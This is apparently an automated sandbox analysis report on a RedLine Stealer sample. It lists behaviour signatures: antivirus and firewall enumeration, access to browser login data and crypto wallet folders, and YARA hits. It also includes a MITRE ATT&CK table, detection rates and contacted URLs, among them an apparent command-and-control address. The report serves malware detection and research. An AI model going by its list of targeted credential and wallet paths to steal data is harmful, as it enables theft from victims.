Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Users\user\Desktop\lZ8NRWShfC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Users\user\AppData\Roaming\TmfmVKU.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Users\user\AppData\Roaming\TmfmVKU.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f18560.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.lZ8NRWShfC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.43b1478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.43b1478.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f30380.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.4399658.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.4399658.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lZ8NRWShfC.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lZ8NRWShfC.exe PID: 7216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TmfmVKU.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TmfmVKU.exe PID: 7608, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f18560.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.lZ8NRWShfC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.43b1478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.43b1478.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f30380.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.4399658.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.4399658.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lZ8NRWShfC.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lZ8NRWShfC.exe PID: 7216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TmfmVKU.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TmfmVKU.exe PID: 7608, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f18560.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.lZ8NRWShfC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.43b1478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.43b1478.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f30380.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.4399658.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.TmfmVKU.exe.4399658.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lZ8NRWShfC.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lZ8NRWShfC.exe PID: 7216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TmfmVKU.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TmfmVKU.exe PID: 7608, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	1 Masquerading	1 OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
lZ8NRWShfC.exe	68%	ReversingLabs	ByteCode-MSIL.Spyware.RedLine
lZ8NRWShfC.exe	100%	Avira	HEUR/AGEN.1362875
lZ8NRWShfC.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\TmfmVKU.exe	68%	ReversingLabs	ByteCode-MSIL.Spyware.RedLine

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
https://ipinfo.io/ip%appdata%	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentme(	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates(	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
https://api.ip.sb	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnviron	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://185.222.58.91:55615	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
